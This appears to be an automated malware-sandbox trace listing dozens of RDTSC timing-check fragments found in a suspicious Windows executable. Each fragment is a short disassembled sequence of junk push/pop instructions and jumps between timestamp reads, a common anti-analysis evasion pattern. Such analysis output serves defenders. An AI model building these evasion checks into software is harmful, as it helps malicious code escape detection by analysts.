Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D4A386 second address: D4A3A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5958F82B62h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D4A3A0 second address: D4A3A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D4A613 second address: D4A624 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop ecx 0x00000007 push edi 0x00000008 pushad 0x00000009 popad 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f push eax 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D53685 second address: D5368B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D5368B second address: D53691 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: CD145C second address: CD14AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F5959240B6Dh 0x0000000b popad 0x0000000c jbe 00007F5959240B7Fh 0x00000012 jmp 00007F5959240B79h 0x00000017 pop ebx 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b push edx 0x0000001c pop edx 0x0000001d jmp 00007F5959240B74h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: CD14AB second address: CD14B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: CD14B1 second address: CD14C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 ja 00007F5959240B6Ch 0x0000000b rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: CD14C2 second address: CD14C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: CD14C7 second address: CD14EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5959240B6Eh 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F5959240B6Ch 0x00000013 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D5261E second address: D52633 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F5958F82B58h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e pushad 0x0000000f popad 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D52633 second address: D52637 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D52637 second address: D52645 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5958F82B5Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D52940 second address: D52945 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D52945 second address: D52955 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a jo 00007F5958F82B56h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D52AA6 second address: D52AB0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D52C04 second address: D52C10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F5958F82B56h 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D53022 second address: D53051 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F5959240B6Eh 0x00000008 push edi 0x00000009 pop edi 0x0000000a jbe 00007F5959240B66h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 pushad 0x00000014 jmp 00007F5959240B79h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D53051 second address: D5305D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D5305D second address: D53068 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D53068 second address: D5306E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D5306E second address: D53072 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D57416 second address: D5741A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D5741A second address: D5741E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D59B9C second address: D59BA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 jnc 00007F5958F82B56h 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D59EA2 second address: D59EA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D59EA8 second address: D59EB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push ecx 0x00000006 pushad 0x00000007 popad 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D59FE4 second address: D59FEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D59FEA second address: D59FF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D59FF3 second address: D5A011 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5959240B74h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push edi 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D5A011 second address: D5A01B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D5C683 second address: D5C6A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F5959240B66h 0x0000000a push eax 0x0000000b pop eax 0x0000000c popad 0x0000000d push ebx 0x0000000e pushad 0x0000000f popad 0x00000010 pop ebx 0x00000011 pushad 0x00000012 jng 00007F5959240B66h 0x00000018 ja 00007F5959240B66h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D5C3F8 second address: D5C401 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D6090D second address: D60929 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F5959240B6Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b pushad 0x0000000c jnp 00007F5959240B66h 0x00000012 push edi 0x00000013 pop edi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D64EB9 second address: D64EC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007F5958F82B5Bh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D64EC9 second address: D64EFB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5959240B77h 0x00000007 jp 00007F5959240B6Ch 0x0000000d pop edx 0x0000000e pop eax 0x0000000f js 00007F5959240B7Eh 0x00000015 pushad 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D6462A second address: D6468E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F5958F82B65h 0x00000008 pop ebx 0x00000009 jnp 00007F5958F82B83h 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F5958F82B60h 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D6468E second address: D64694 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D64694 second address: D6469A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D68FF4 second address: D6900E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5959240B72h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D693DA second address: D693F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 jmp 00007F5958F82B62h 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D6980A second address: D69818 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F5959240B66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D69818 second address: D6981C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D7038D second address: D7039E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 jng 00007F5959240B66h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D7039E second address: D703A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D703A2 second address: D703D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5959240B74h 0x00000007 jmp 00007F5959240B76h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D703D0 second address: D703D7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D703D7 second address: D703F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jl 00007F5959240B68h 0x0000000b push edx 0x0000000c pop edx 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 popad 0x00000015 pushad 0x00000016 popad 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D703F5 second address: D703F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D70544 second address: D7054A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D7054A second address: D70558 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007F5958F82B5Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D706F8 second address: D706FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D706FE second address: D7070A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F5958F82B5Ch 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D7126D second address: D71294 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jns 00007F5959240B66h 0x0000000e jmp 00007F5959240B79h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D71847 second address: D71857 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007F5958F82B5Bh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D71857 second address: D71861 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F5959240B7Ah 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D71861 second address: D71881 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5958F82B5Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pop edx 0x00000010 jg 00007F5958F82B56h 0x00000016 pop eax 0x00000017 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D71881 second address: D7188B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F5959240B66h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D7188B second address: D71899 instructions: 0x00000000 rdtsc 0x00000002 je 00007F5958F82B56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D72122 second address: D7212A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D7212A second address: D72138 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F5958F82B56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D72138 second address: D7213C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D7213C second address: D72140 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D72140 second address: D72146 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D76BCE second address: D76BD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D76BD2 second address: D76BD6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D76BD6 second address: D76C07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jnp 00007F5958F82B62h 0x00000011 jmp 00007F5958F82B64h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D79DE3 second address: D79DE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D79DE9 second address: D79E05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5958F82B61h 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D79E05 second address: D79E15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5959240B6Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D79F72 second address: D79F7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D7A0D3 second address: D7A0FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5959240B75h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jbe 00007F5959240B6Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D7A0FE second address: D7A102 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D7A102 second address: D7A116 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5959240B70h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D7A116 second address: D7A11C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D7A550 second address: D7A554 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D7A554 second address: D7A558 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D82ED5 second address: D82EDB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D82EDB second address: D82EDF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D82EDF second address: D82EE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D82EE5 second address: D82EF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push edx 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D81011 second address: D81026 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5959240B70h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D815FC second address: D81602 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D81602 second address: D81606 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D81B8D second address: D81BC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5958F82B67h 0x00000009 jmp 00007F5958F82B5Eh 0x0000000e popad 0x0000000f push eax 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 pop eax 0x00000013 pop esi 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D81BC2 second address: D81BCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F5959240B66h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D81BCC second address: D81BD2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D81BD2 second address: D81BD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D81BD8 second address: D81BE2 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F5958F82B62h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D81D64 second address: D81D6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D82D40 second address: D82D44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D82D44 second address: D82D48 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D82D48 second address: D82D51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D82D51 second address: D82D62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 jng 00007F5959240B66h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D853C3 second address: D853CD instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F5958F82B56h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D87629 second address: D8762D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
